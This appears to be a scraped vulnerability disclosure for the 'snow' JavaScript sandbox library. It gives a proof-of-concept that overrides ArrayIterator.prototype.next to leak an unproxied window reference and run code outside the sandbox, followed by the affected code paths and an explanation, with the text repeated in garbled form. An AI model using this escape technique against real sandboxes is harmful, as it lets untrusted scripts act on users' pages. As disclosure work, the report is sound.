PoC:
// get the original ArrayIterator.prototype.next method
var next = [].values().__proto__.next;
// overwrite the method
[].values().__proto__.next = function(){
var x = next.call(this);
var win = x?.value;
// leak the window reference
if(win?.toString() === '[object Window]'){
win.location = 'about:blank';
setTimeout(()=>win.alert(1337), 100);
}
return x;
}
open().location;
Vulnerable path:
from(arguments) in
|
const args = from(arguments); |
- Passing
opened window reference to console.error in
|
if (Reflect.has(opened, property)) { |
|
throw error(ERR_OPENED_PROP_ACCESS_BLOCKED, property, opened); |
|
} |
Description
Accessing the arguments variable inside a function scope returns an array-like object which looks like the following:
Arguments(3) [1, 2, 3, callee: ƒ abc(), length: 3, Symbol(Symbol.iterator): ƒ values(), [[Prototype]]: Object
It defines a @@iterator symbol used to generate an ArrayIterator object, which Array.from() calls internally. We can overwrite ArrayIterator.prototype.next to leak the function arguments passed to Array.from, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.
PoC:
Vulnerable path:
from(arguments)insnow/src/log.js
Line 16 in 1c8faa8
openedwindow reference toconsole.errorinsnow/src/proxy.js
Lines 48 to 50 in 1c8faa8
Description
Accessing the
argumentsvariable inside a function scope returns an array-like object which looks like the following:It defines a
@@iteratorsymbol used to generate anArrayIteratorobject, whichArray.from()calls internally. We can overwriteArrayIterator.prototype.nextto leak the function arguments passed toArray.from, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.